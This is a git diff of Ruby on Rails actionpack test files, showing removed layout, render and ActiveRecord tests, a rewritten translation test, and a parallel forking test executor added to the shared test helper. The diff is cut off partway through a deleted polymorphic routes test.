- self.view_paths = [ActionView::FixtureResolver.new(
- "layouts/hello.erb" => "With String <%= yield %>",
- "layouts/hello_override.erb" => "With Override <%= yield %>",
- "layouts/overwrite.erb" => "Overwrite <%= yield %>",
- "layouts/with_false_layout.erb" => "False Layout <%= yield %>",
- "abstract_controller_tests/layouts/with_string_implied_child.erb" =>
- "With Implied <%= yield %>",
- "abstract_controller_tests/layouts/with_grand_child_of_implied.erb" =>
- "With Grand Child <%= yield %>"
-
- )]
- end
-
- class Blank < Base
- self.view_paths = []
-
- def index
- render :template => ActionView::Template::Text.new("Hello blank!")
- end
- end
-
- class WithString < Base
- layout "hello"
-
- def index
- render :template => ActionView::Template::Text.new("Hello string!")
- end
-
- def overwrite_default
- render :template => ActionView::Template::Text.new("Hello string!"), :layout => :default
- end
-
- def overwrite_false
- render :template => ActionView::Template::Text.new("Hello string!"), :layout => false
- end
-
- def overwrite_string
- render :template => ActionView::Template::Text.new("Hello string!"), :layout => "overwrite"
- end
-
- def overwrite_skip
- render :text => "Hello text!"
- end
- end
-
- class WithStringChild < WithString
- end
-
- class WithStringOverriddenChild < WithString
- layout "hello_override"
- end
-
- class WithStringImpliedChild < WithString
- layout nil
- end
-
- class WithChildOfImplied < WithStringImpliedChild
- end
-
- class WithGrandChildOfImplied < WithStringImpliedChild
- layout nil
- end
-
- class WithProc < Base
- layout proc { |c| "overwrite" }
-
- def index
- render :template => ActionView::Template::Text.new("Hello proc!")
- end
- end
-
- class WithZeroArityProc < Base
- layout proc { "overwrite" }
-
- def index
- render :template => ActionView::Template::Text.new("Hello zero arity proc!")
- end
- end
-
- class WithProcInContextOfInstance < Base
- def an_instance_method; end
-
- layout proc {
- break unless respond_to? :an_instance_method
- "overwrite"
- }
-
- def index
- render :template => ActionView::Template::Text.new("Hello again zero arity proc!")
- end
- end
-
- class WithSymbol < Base
- layout :hello
-
- def index
- render :template => ActionView::Template::Text.new("Hello symbol!")
- end
- private
- def hello
- "overwrite"
- end
- end
-
- class WithSymbolReturningNil < Base
- layout :nilz
-
- def index
- render :template => ActionView::Template::Text.new("Hello nilz!")
- end
-
- def nilz() end
- end
-
- class WithSymbolReturningObj < Base
- layout :objekt
-
- def index
- render :template => ActionView::Template::Text.new("Hello nilz!")
- end
-
- def objekt
- Object.new
- end
- end
-
- class WithSymbolAndNoMethod < Base
- layout :no_method
-
- def index
- render :template => ActionView::Template::Text.new("Hello boom!")
- end
- end
-
- class WithMissingLayout < Base
- layout "missing"
-
- def index
- render :template => ActionView::Template::Text.new("Hello missing!")
- end
- end
-
- class WithFalseLayout < Base
- layout false
-
- def index
- render :template => ActionView::Template::Text.new("Hello false!")
- end
- end
-
- class WithNilLayout < Base
- layout nil
-
- def index
- render :template => ActionView::Template::Text.new("Hello nil!")
- end
- end
-
- class WithOnlyConditional < WithStringImpliedChild
- layout "overwrite", :only => :show
-
- def index
- render :template => ActionView::Template::Text.new("Hello index!")
- end
-
- def show
- render :template => ActionView::Template::Text.new("Hello show!")
- end
- end
-
- class WithExceptConditional < WithStringImpliedChild
- layout "overwrite", :except => :show
-
- def index
- render :template => ActionView::Template::Text.new("Hello index!")
- end
-
- def show
- render :template => ActionView::Template::Text.new("Hello show!")
- end
- end
-
- class TestBase < ActiveSupport::TestCase
- test "when no layout is specified, and no default is available, render without a layout" do
- controller = Blank.new
- controller.process(:index)
- assert_equal "Hello blank!", controller.response_body
- end
-
- test "when layout is specified as a string, render with that layout" do
- controller = WithString.new
- controller.process(:index)
- assert_equal "With String Hello string!", controller.response_body
- end
-
- test "when layout is overwriten by :default in render, render default layout" do
- controller = WithString.new
- controller.process(:overwrite_default)
- assert_equal "With String Hello string!", controller.response_body
- end
-
- test "when layout is overwriten by string in render, render new layout" do
- controller = WithString.new
- controller.process(:overwrite_string)
- assert_equal "Overwrite Hello string!", controller.response_body
- end
-
- test "when layout is overwriten by false in render, render no layout" do
- controller = WithString.new
- controller.process(:overwrite_false)
- assert_equal "Hello string!", controller.response_body
- end
-
- test "when text is rendered, render no layout" do
- controller = WithString.new
- controller.process(:overwrite_skip)
- assert_equal "Hello text!", controller.response_body
- end
-
- test "when layout is specified as a string, but the layout is missing, raise an exception" do
- assert_raises(ActionView::MissingTemplate) { WithMissingLayout.new.process(:index) }
- end
-
- test "when layout is specified as false, do not use a layout" do
- controller = WithFalseLayout.new
- controller.process(:index)
- assert_equal "Hello false!", controller.response_body
- end
-
- test "when layout is specified as nil, do not use a layout" do
- controller = WithNilLayout.new
- controller.process(:index)
- assert_equal "Hello nil!", controller.response_body
- end
-
- test "when layout is specified as a proc, call it and use the layout returned" do
- controller = WithProc.new
- controller.process(:index)
- assert_equal "Overwrite Hello proc!", controller.response_body
- end
-
- test "when layout is specified as a proc without parameters it works just the same" do
- controller = WithZeroArityProc.new
- controller.process(:index)
- assert_equal "Overwrite Hello zero arity proc!", controller.response_body
- end
-
- test "when layout is specified as a proc without parameters the block is evaluated in the context of an instance" do
- controller = WithProcInContextOfInstance.new
- controller.process(:index)
- assert_equal "Overwrite Hello again zero arity proc!", controller.response_body
- end
-
- test "when layout is specified as a symbol, call the requested method and use the layout returned" do
- controller = WithSymbol.new
- controller.process(:index)
- assert_equal "Overwrite Hello symbol!", controller.response_body
- end
-
- test "when layout is specified as a symbol and the method returns nil, don't use a layout" do
- controller = WithSymbolReturningNil.new
- controller.process(:index)
- assert_equal "Hello nilz!", controller.response_body
- end
-
- test "when the layout is specified as a symbol and the method doesn't exist, raise an exception" do
- assert_raises(NameError) { WithSymbolAndNoMethod.new.process(:index) }
- end
-
- test "when the layout is specified as a symbol and the method returns something besides a string/false/nil, raise an exception" do
- assert_raises(ArgumentError) { WithSymbolReturningObj.new.process(:index) }
- end
-
- test "when a child controller does not have a layout, use the parent controller layout" do
- controller = WithStringChild.new
- controller.process(:index)
- assert_equal "With String Hello string!", controller.response_body
- end
-
- test "when a child controller has specified a layout, use that layout and not the parent controller layout" do
- controller = WithStringOverriddenChild.new
- controller.process(:index)
- assert_equal "With Override Hello string!", controller.response_body
- end
-
- test "when a child controller has an implied layout, use that layout and not the parent controller layout" do
- controller = WithStringImpliedChild.new
- controller.process(:index)
- assert_equal "With Implied Hello string!", controller.response_body
- end
-
- test "when a grandchild has no layout specified, the child has an implied layout, and the " \
- "parent has specified a layout, use the child controller layout" do
- controller = WithChildOfImplied.new
- controller.process(:index)
- assert_equal "With Implied Hello string!", controller.response_body
- end
-
- test "when a grandchild has nil layout specified, the child has an implied layout, and the " \
- "parent has specified a layout, use the child controller layout" do
- controller = WithGrandChildOfImplied.new
- controller.process(:index)
- assert_equal "With Grand Child Hello string!", controller.response_body
- end
-
- test "raises an exception when specifying layout true" do
- assert_raises ArgumentError do
- Object.class_eval do
- class ::BadFailLayout < AbstractControllerTests::Layouts::Base
- layout true
- end
- end
- end
- end
-
- test "when specify an :only option which match current action name" do
- controller = WithOnlyConditional.new
- controller.process(:show)
- assert_equal "Overwrite Hello show!", controller.response_body
- end
-
- test "when specify an :only option which does not match current action name" do
- controller = WithOnlyConditional.new
- controller.process(:index)
- assert_equal "With Implied Hello index!", controller.response_body
- end
-
- test "when specify an :except option which match current action name" do
- controller = WithExceptConditional.new
- controller.process(:show)
- assert_equal "With Implied Hello show!", controller.response_body
- end
-
- test "when specify an :except option which does not match current action name" do
- controller = WithExceptConditional.new
- controller.process(:index)
- assert_equal "Overwrite Hello index!", controller.response_body
- end
-
- test "layout for anonymous controller" do
- klass = Class.new(WithString) do
- def index
- render :text => 'index', :layout => true
- end
- end
-
- controller = klass.new
- controller.process(:index)
- assert_equal "With String index", controller.response_body
- end
- end
- end
-end
diff --git a/actionpack/test/abstract/render_test.rb b/actionpack/test/abstract/render_test.rb
deleted file mode 100644
index b9293d1241..0000000000
--- a/actionpack/test/abstract/render_test.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-require 'abstract_unit'
-
-module AbstractController
- module Testing
-
- class ControllerRenderer < AbstractController::Base
- include AbstractController::Rendering
-
- def _prefixes
- %w[renderer]
- end
-
- self.view_paths = [ActionView::FixtureResolver.new(
- "template.erb" => "With Template",
- "renderer/default.erb" => "With Default",
- "renderer/string.erb" => "With String",
- "renderer/symbol.erb" => "With Symbol",
- "string/with_path.erb" => "With String With Path",
- "some/file.erb" => "With File"
- )]
-
- def template
- render :template => "template"
- end
-
- def file
- render :file => "some/file"
- end
-
- def inline
- render :inline => "With <%= :Inline %>"
- end
-
- def text
- render :text => "With Text"
- end
-
- def default
- render
- end
-
- def string
- render "string"
- end
-
- def string_with_path
- render "string/with_path"
- end
-
- def symbol
- render :symbol
- end
- end
-
- class TestRenderer < ActiveSupport::TestCase
-
- def setup
- @controller = ControllerRenderer.new
- end
-
- def test_render_template
- @controller.process(:template)
- assert_equal "With Template", @controller.response_body
- end
-
- def test_render_file
- @controller.process(:file)
- assert_equal "With File", @controller.response_body
- end
-
- def test_render_inline
- @controller.process(:inline)
- assert_equal "With Inline", @controller.response_body
- end
-
- def test_render_text
- @controller.process(:text)
- assert_equal "With Text", @controller.response_body
- end
-
- def test_render_default
- @controller.process(:default)
- assert_equal "With Default", @controller.response_body
- end
-
- def test_render_string
- @controller.process(:string)
- assert_equal "With String", @controller.response_body
- end
-
- def test_render_symbol
- @controller.process(:symbol)
- assert_equal "With Symbol", @controller.response_body
- end
-
- def test_render_string_with_path
- @controller.process(:string_with_path)
- assert_equal "With String With Path", @controller.response_body
- end
- end
- end
-end
diff --git a/actionpack/test/abstract/translation_test.rb b/actionpack/test/abstract/translation_test.rb
index 99064a8b87..4fdc480b43 100644
--- a/actionpack/test/abstract/translation_test.rb
+++ b/actionpack/test/abstract/translation_test.rb
@@ -1,39 +1,50 @@
require 'abstract_unit'
-# class TranslatingController < ActionController::Base
-# end
-
-class TranslationControllerTest < ActiveSupport::TestCase
- def setup
- @controller = ActionController::Base.new
- end
-
- def test_action_controller_base_responds_to_translate
- assert_respond_to @controller, :translate
- end
-
- def test_action_controller_base_responds_to_t
- assert_respond_to @controller, :t
- end
-
- def test_action_controller_base_responds_to_localize
- assert_respond_to @controller, :localize
- end
-
- def test_action_controller_base_responds_to_l
- assert_respond_to @controller, :l
- end
-
- def test_lazy_lookup
- expected = 'bar'
- @controller.stubs(:action_name => :index)
- I18n.stubs(:translate).with('action_controller.base.index.foo').returns(expected)
- assert_equal expected, @controller.t('.foo')
- end
-
- def test_default_translation
- key, expected = 'one.two' 'bar'
- I18n.stubs(:translate).with(key).returns(expected)
- assert_equal expected, @controller.t(key)
+module AbstractController
+ module Testing
+ class TranslationController < AbstractController::Base
+ include AbstractController::Translation
+ end
+
+ class TranslationControllerTest < ActiveSupport::TestCase
+ def setup
+ @controller = TranslationController.new
+ end
+
+ def test_action_controller_base_responds_to_translate
+ assert_respond_to @controller, :translate
+ end
+
+ def test_action_controller_base_responds_to_t
+ assert_respond_to @controller, :t
+ end
+
+ def test_action_controller_base_responds_to_localize
+ assert_respond_to @controller, :localize
+ end
+
+ def test_action_controller_base_responds_to_l
+ assert_respond_to @controller, :l
+ end
+
+ def test_lazy_lookup
+ expected = 'bar'
+ @controller.stubs(action_name: :index)
+ I18n.stubs(:translate).with('abstract_controller.testing.translation.index.foo').returns(expected)
+ assert_equal expected, @controller.t('.foo')
+ end
+
+ def test_default_translation
+ key, expected = 'one.two', 'bar'
+ I18n.stubs(:translate).with(key).returns(expected)
+ assert_equal expected, @controller.t(key)
+ end
+
+ def test_localize
+ time, expected = Time.gm(2000), 'Sat, 01 Jan 2000 00:00:00 +0000'
+ I18n.stubs(:localize).with(time).returns(expected)
+ assert_equal expected, @controller.l(time)
+ end
+ end
end
end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 95bff0a204..2d69ceed3a 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -4,8 +4,6 @@ $:.unshift(File.dirname(__FILE__) + '/lib')
$:.unshift(File.dirname(__FILE__) + '/fixtures/helpers')
$:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers')
-ENV['TMPDIR'] = File.join(File.dirname(__FILE__), 'tmp')
-
require 'active_support/core_ext/kernel/reporting'
# These are the normal settings that will be set up by Railties
@@ -15,8 +13,15 @@ silence_warnings do
Encoding.default_external = "UTF-8"
end
-require 'minitest/autorun'
+require 'drb'
+require 'drb/unix'
+require 'tempfile'
+
+PROCESS_COUNT = (ENV['N'] || 4).to_i
+
+require 'active_support/testing/autorun'
require 'abstract_controller'
+require 'abstract_controller/railties/routes_helpers'
require 'action_controller'
require 'action_view'
require 'action_view/testing/resolvers'
@@ -38,13 +43,18 @@ end
ActiveSupport::Dependencies.hook!
+Thread.abort_on_exception = true
+
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Register danish language for testing
I18n.backend.store_translations 'da', {}
I18n.backend.store_translations 'pt-BR', {}
-ORIGINAL_LOCALES = I18n.available_locales.map {|locale| locale.to_s }.sort
+ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
FIXTURES = Pathname.new(FIXTURE_LOAD_PATH)
@@ -62,28 +72,6 @@ module RackTestUtils
extend self
end
-module RenderERBUtils
- def view
- @view ||= begin
- path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
- view_paths = ActionView::PathSet.new([path])
- ActionView::Base.new(view_paths)
- end
- end
-
- def render_erb(string)
- @virtual_path = nil
-
- template = ActionView::Template.new(
- string.strip,
- "test template",
- ActionView::Template::Handlers::ERB,
- {})
-
- template.render(self, {}).strip
- end
-end
-
SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
module ActionDispatch
@@ -122,6 +110,9 @@ end
module ActiveSupport
class TestCase
include ActionDispatch::DrawOnce
+ if ActiveSupport::Testing::Isolation.forking_env? && PROCESS_COUNT > 0
+ parallelize_me!
+ end
end
end
@@ -204,6 +195,7 @@ class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
yield temporary_routes
ensure
self.class.app = old_app
+ self.remove!
silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
end
@@ -268,9 +260,8 @@ end
module ActionController
class Base
- include ActionController::Testing
# This stub emulates the Railtie including the URL helpers from a Rails application
- include SharedTestRoutes.url_helpers
+ extend AbstractController::Railties::RoutesHelpers.with(SharedTestRoutes)
include SharedTestRoutes.mounted_helpers
self.view_paths = FIXTURE_LOAD_PATH
@@ -288,15 +279,8 @@ module ActionController
end
end
-class ::ApplicationController < ActionController::Base
-end
-module ActionView
- class TestCase
- # Must repeat the setup because AV::TestCase is a duplication
- # of AC::TestCase
- include ActionDispatch::SharedRoutes
- end
+class ::ApplicationController < ActionController::Base
end
class Workshop
@@ -330,22 +314,95 @@ end
module ActionDispatch
module RoutingVerbs
- def get(uri_or_host, path = nil, port = nil)
+ def send_request(uri_or_host, method, path)
host = uri_or_host.host unless path
path ||= uri_or_host.path
params = {'PATH_INFO' => path,
- 'REQUEST_METHOD' => 'GET',
+ 'REQUEST_METHOD' => method,
'HTTP_HOST' => host}
- routes.call(params)[2].join
+ routes.call(params)
+ end
+
+ def request_path_params(path, options = {})
+ method = options[:method] || 'GET'
+ resp = send_request URI('http://localhost' + path), method.to_s.upcase, nil
+ status = resp.first
+ if status == 404
+ raise ActionController::RoutingError, "No route matches #{path.inspect}"
+ end
+ controller.request.path_parameters
+ end
+
+ def get(uri_or_host, path = nil)
+ send_request(uri_or_host, 'GET', path)[2].join
+ end
+
+ def post(uri_or_host, path = nil)
+ send_request(uri_or_host, 'POST', path)[2].join
+ end
+
+ def put(uri_or_host, path = nil)
+ send_request(uri_or_host, 'PUT', path)[2].join
+ end
+
+ def delete(uri_or_host, path = nil)
+ send_request(uri_or_host, 'DELETE', path)[2].join
+ end
+
+ def patch(uri_or_host, path = nil)
+ send_request(uri_or_host, 'PATCH', path)[2].join
end
end
end
module RoutingTestHelpers
- def url_for(set, options, recall = nil)
- set.send(:url_for, options.merge(:only_path => true, :_recall => recall))
+ def url_for(set, options)
+ route_name = options.delete :use_route
+ set.url_for options.merge(:only_path => true), route_name
+ end
+
+ def make_set(strict = true)
+ tc = self
+ TestSet.new ->(c) { tc.controller = c }, strict
+ end
+
+ class TestSet < ActionDispatch::Routing::RouteSet
+ attr_reader :strict
+
+ def initialize(block, strict = false)
+ @block = block
+ @strict = strict
+ super()
+ end
+
+ class Dispatcher < ActionDispatch::Routing::RouteSet::Dispatcher
+ def initialize(defaults, set, block)
+ super(defaults)
+ @block = block
+ @set = set
+ end
+
+ def controller(params, default_controller=true)
+ super(params, @set.strict)
+ end
+
+ def controller_reference(controller_param)
+ block = @block
+ set = @set
+ super if @set.strict
+ Class.new(ActionController::Base) {
+ include set.url_helpers
+ define_method(:process) { |name| block.call(self) }
+ def to_a; [200, {}, []]; end
+ }
+ end
+ end
+
+ def dispatcher defaults
+ TestSet::Dispatcher.new defaults, self, @block
+ end
end
end
@@ -358,7 +415,6 @@ class ThreadsController < ResourcesController; end
class MessagesController < ResourcesController; end
class CommentsController < ResourcesController; end
class ReviewsController < ResourcesController; end
-class AuthorsController < ResourcesController; end
class LogosController < ResourcesController; end
class AccountsController < ResourcesController; end
@@ -369,8 +425,6 @@ class PreferencesController < ResourcesController; end
module Backoffice
class ProductsController < ResourcesController; end
- class TagsController < ResourcesController; end
- class ManufacturersController < ResourcesController; end
class ImagesController < ResourcesController; end
module Admin
@@ -378,3 +432,90 @@ module Backoffice
class ImagesController < ResourcesController; end
end
end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
+end
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+class ForkingExecutor
+ class Server
+ include DRb::DRbUndumped
+
+ def initialize
+ @queue = Queue.new
+ end
+
+ def record reporter, result
+ reporter.record result
+ end
+
+ def << o
+ o[2] = DRbObject.new(o[2]) if o
+ @queue << o
+ end
+ def pop; @queue.pop; end
+ end
+
+ def initialize size
+ @size = size
+ @queue = Server.new
+ file = File.join Dir.tmpdir, Dir::Tmpname.make_tmpname('rails-tests', 'fd')
+ @url = "drbunix://#{file}"
+ @pool = nil
+ DRb.start_service @url, @queue
+ end
+
+ def << work; @queue << work; end
+
+ def shutdown
+ pool = @size.times.map {
+ fork {
+ DRb.stop_service
+ queue = DRbObject.new_with_uri @url
+ while job = queue.pop
+ klass = job[0]
+ method = job[1]
+ reporter = job[2]
+ result = Minitest.run_one_method klass, method
+ if result.error?
+ translate_exceptions result
+ end
+ queue.record reporter, result
+ end
+ }
+ }
+ @size.times { @queue << nil }
+ pool.each { |pid| Process.waitpid pid }
+ end
+
+ private
+ def translate_exceptions(result)
+ result.failures.map! { |e|
+ begin
+ Marshal.dump e
+ e
+ rescue TypeError
+ ex = Exception.new e.message
+ ex.set_backtrace e.backtrace
+ Minitest::UnexpectedError.new ex
+ end
+ }
+ end
+end
+
+if ActiveSupport::Testing::Isolation.forking_env? && PROCESS_COUNT > 0
+ # Use N processes (N defaults to 4)
+ Minitest.parallel_executor = ForkingExecutor.new(PROCESS_COUNT)
+end
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/actionpack/test/active_record_unit.rb b/actionpack/test/active_record_unit.rb
deleted file mode 100644
index 4dd7406798..0000000000
--- a/actionpack/test/active_record_unit.rb
+++ /dev/null
@@ -1,99 +0,0 @@
-require 'abstract_unit'
-
-# Define the essentials
-class ActiveRecordTestConnector
- cattr_accessor :able_to_connect
- cattr_accessor :connected
-
- # Set our defaults
- self.connected = false
- self.able_to_connect = true
-end
-
-# Try to grab AR
-unless defined?(ActiveRecord) && defined?(FixtureSet)
- begin
- PATH_TO_AR = "#{File.dirname(__FILE__)}/../../activerecord/lib"
- raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR)
- $LOAD_PATH.unshift PATH_TO_AR
- require 'active_record'
- rescue LoadError => e
- $stderr.print "Failed to load Active Record. Skipping Active Record assertion tests: #{e}"
- ActiveRecordTestConnector.able_to_connect = false
- end
-end
-$stderr.flush
-
-
-# Define the rest of the connector
-class ActiveRecordTestConnector
- class << self
- def setup
- unless self.connected || !self.able_to_connect
- setup_connection
- load_schema
- require_fixture_models
- self.connected = true
- end
- rescue Exception => e # errors from ActiveRecord setup
- $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}"
- #$stderr.puts " #{e.backtrace.join("\n ")}\n"
- self.able_to_connect = false
- end
-
- private
- def setup_connection
- if Object.const_defined?(:ActiveRecord)
- defaults = { :database => ':memory:' }
- begin
- adapter = defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3'
- options = defaults.merge :adapter => adapter, :timeout => 500
- ActiveRecord::Base.establish_connection(options)
- ActiveRecord::Base.configurations = { 'sqlite3_ar_integration' => options }
- ActiveRecord::Base.connection
- rescue Exception # errors from establishing a connection
- $stderr.puts 'SQLite 3 unavailable; trying SQLite 2.'
- options = defaults.merge :adapter => 'sqlite'
- ActiveRecord::Base.establish_connection(options)
- ActiveRecord::Base.configurations = { 'sqlite2_ar_integration' => options }
- ActiveRecord::Base.connection
- end
-
- Object.send(:const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type')) unless Object.const_defined?(:QUOTED_TYPE)
- else
- raise "Can't setup connection since ActiveRecord isn't loaded."
- end
- end
-
- # Load actionpack sqlite tables
- def load_schema
- File.read(File.dirname(__FILE__) + "/fixtures/db_definitions/sqlite.sql").split(';').each do |sql|
- ActiveRecord::Base.connection.execute(sql) unless sql.blank?
- end
- end
-
- def require_fixture_models
- Dir.glob(File.dirname(__FILE__) + "/fixtures/*.rb").each {|f| require f}
- end
- end
-end
-
-class ActiveRecordTestCase < ActionController::TestCase
- include ActiveRecord::TestFixtures
-
- # Set our fixture path
- if ActiveRecordTestConnector.able_to_connect
- self.fixture_path = [FIXTURE_LOAD_PATH]
- self.use_transactional_fixtures = false
- end
-
- def self.fixtures(*args)
- super if ActiveRecordTestConnector.connected
- end
-
- def run(*args)
- super if ActiveRecordTestConnector.connected
- end
-end
-
-ActiveRecordTestConnector.setup
diff --git a/actionpack/test/activerecord/controller_runtime_test.rb b/actionpack/test/activerecord/controller_runtime_test.rb
deleted file mode 100644
index 1df826fe2b..0000000000
--- a/actionpack/test/activerecord/controller_runtime_test.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-require 'active_record_unit'
-require 'active_record/railties/controller_runtime'
-require 'fixtures/project'
-require 'active_support/log_subscriber/test_helper'
-require 'action_controller/log_subscriber'
-
-ActionController::Base.send :include, ActiveRecord::Railties::ControllerRuntime
-
-class ControllerRuntimeLogSubscriberTest < ActionController::TestCase
- class LogSubscriberController < ActionController::Base
- def show
- render :inline => "<%= Project.all %>"
- end
-
- def zero
- render :inline => "Zero DB runtime"
- end
-
- def redirect
- Project.all
- redirect_to :action => 'show'
- end
-
- def db_after_render
- render :inline => "Hello world"
- Project.all
- ActiveRecord::LogSubscriber.runtime += 100
- end
- end
-
- include ActiveSupport::LogSubscriber::TestHelper
- tests LogSubscriberController
-
- def setup
- super
- @old_logger = ActionController::Base.logger
- ActionController::LogSubscriber.attach_to :action_controller
- end
-
- def teardown
- super
- ActiveSupport::LogSubscriber.log_subscribers.clear
- ActionController::Base.logger = @old_logger
- end
-
- def set_logger(logger)
- ActionController::Base.logger = logger
- end
-
- def test_log_with_active_record
- get :show
- wait
-
- assert_equal 2, @logger.logged(:info).size
- assert_match(/\(Views: [\d.]+ms \| ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[1])
- end
-
- def test_runtime_reset_before_requests
- ActiveRecord::LogSubscriber.runtime += 12345
- get :zero
- wait
-
- assert_equal 2, @logger.logged(:info).size
- assert_match(/\(Views: [\d.]+ms \| ActiveRecord: 0.0ms\)/, @logger.logged(:info)[1])
- end
-
- def test_log_with_active_record_when_redirecting
- get :redirect
- wait
- assert_equal 3, @logger.logged(:info).size
- assert_match(/\(ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[2])
- end
-
- def test_include_time_query_time_after_rendering
- get :db_after_render
- wait
-
- assert_equal 2, @logger.logged(:info).size
- assert_match(/\(Views: [\d.]+ms \| ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[1])
- end
-end
diff --git a/actionpack/test/activerecord/polymorphic_routes_test.rb b/actionpack/test/activerecord/polymorphic_routes_test.rb
deleted file mode 100644
index afb714484b..0000000000
--- a/actionpack/test/activerecord/polymorphic_routes_test.rb
+++ /dev/null
@@ -1,546 +0,0 @@
-require 'active_record_unit'
-require 'fixtures/project'
-
-class Task < ActiveRecord::Base
- self.table_name = 'projects'
-end
-
-class Step < ActiveRecord::Base
- self.table_name = 'projects'
-end
-
-class Bid < ActiveRecord::Base
- self.table_name = 'projects'
-end
-
-class Tax < ActiveRecord::Base
- self.table_name = 'projects'
-end
-
-class Fax < ActiveRecord::Base
- self.table_name = 'projects'
-end
-
-class Series < ActiveRecord::Base
- self.table_name = 'projects'
-end
-
-class ModelDelegator < ActiveRecord::Base
- self.table_name = 'projects'
-
- def to_model
- ModelDelegate.new
- end
-end
-
-class ModelDelegate
- def self.model_name
- ActiveModel::Name.new(self)
- end
-
- def to_param
- 'overridden'
- end
-end
-
-module Blog
- class Post < ActiveRecord::Base
- self.table_name = 'projects'
- end
-
- class Blog < ActiveRecord::Base
- self.table_name = 'projects'
- end
-
- def self.use_relative_model_naming?
- true
- end
-end
-
-class PolymorphicRoutesTest < ActionController::TestCase
- include SharedTestRoutes.url_helpers
- self.default_url_options[:host] = 'example.com'
-
- def setup
- @project = Project.new
- @task = Task.new
- @step = Step.new
- @bid = Bid.new
- @tax = Tax.new
- @fax = Fax.new
- @delegator = ModelDelegator.new
- @series = Series.new
- @blog_post = Blog::Post.new
- @blog_blog = Blog::Blog.new
- end
-
- def test_passing_routes_proxy
- with_namespaced_routes(:blog) do
- proxy = ActionDispatch::Routing::RoutesProxy.new(_routes, self)
- @blog_post.save
- assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url([proxy, @blog_post])
- end
- end
-
- def test_namespaced_model
- with_namespaced_routes(:blog) do
- @blog_post.save
- assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url(@blog_post)
- end
- end
-
- def test_namespaced_model_with_name_the_same_as_namespace
- with_namespaced_routes(:blog) do
- @blog_blog.save
- assert_equal "http://example.com/blogs/#{@blog_blog.id}", polymorphic_url(@blog_blog)
- end
- end
-
- def test_namespaced_model_with_nested_resources
- with_namespaced_routes(:blog) do
- @blog_post.save
- @blog_blog.save
- assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", polymorphic_url([@blog_blog, @blog_post])
- end
- end
-
- def test_with_nil
- with_test_routes do
- assert_raise ArgumentError, "Nil location provided. Can't build URI." do
- polymorphic_url(nil)
- end
- end
- end
-
- def test_with_record
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url(@project)
- end
- end
-
- def test_with_class
- with_test_routes do
- assert_equal "http://example.com/projects", polymorphic_url(@project.class)
- end
- end
-
- def test_with_new_record
- with_test_routes do
- assert_equal "http://example.com/projects", polymorphic_url(@project)
- end
- end
-
- def test_with_destroyed_record
- with_test_routes do
- @project.destroy
- assert_equal "http://example.com/projects", polymorphic_url(@project)
- end
- end
-
- def test_with_record_and_action
- with_test_routes do
- assert_equal "http://example.com/projects/new", polymorphic_url(@project, :action => 'new')
- end
- end
-
- def test_url_helper_prefixed_with_new
- with_test_routes do
- assert_equal "http://example.com/projects/new", new_polymorphic_url(@project)
- end
- end
-
- def test_url_helper_prefixed_with_edit
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}/edit", edit_polymorphic_url(@project)
- end
- end
-
- def test_url_helper_prefixed_with_edit_with_url_options
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}/edit?param1=10", edit_polymorphic_url(@project, :param1 => '10')
- end
- end
-
- def test_url_helper_with_url_options
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}?param1=10", polymorphic_url(@project, :param1 => '10')
- end
- end
-
- def test_format_option
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}.pdf", polymorphic_url(@project, :format => :pdf)
- end
- end
-
- def test_format_option_with_url_options
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}.pdf?param1=10", polymorphic_url(@project, :format => :pdf, :param1 => '10')
- end
- end
-
- def test_id_and_format_option
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}.pdf", polymorphic_url(:id => @project, :format => :pdf)
- end
- end
-
- def test_with_nested
- with_test_routes do
- @project.save
- @task.save
- assert_equal "http://example.com/projects/#{@project.id}/tasks/#{@task.id}", polymorphic_url([@project, @task])
- end
- end
-
- def test_with_nested_unsaved
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task])
- end
- end
-
- def test_with_nested_destroyed
- with_test_routes do
- @project.save
- @task.destroy
- assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task])
- end
- end
-
- def test_with_nested_class
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task.class])
- end
- end
-
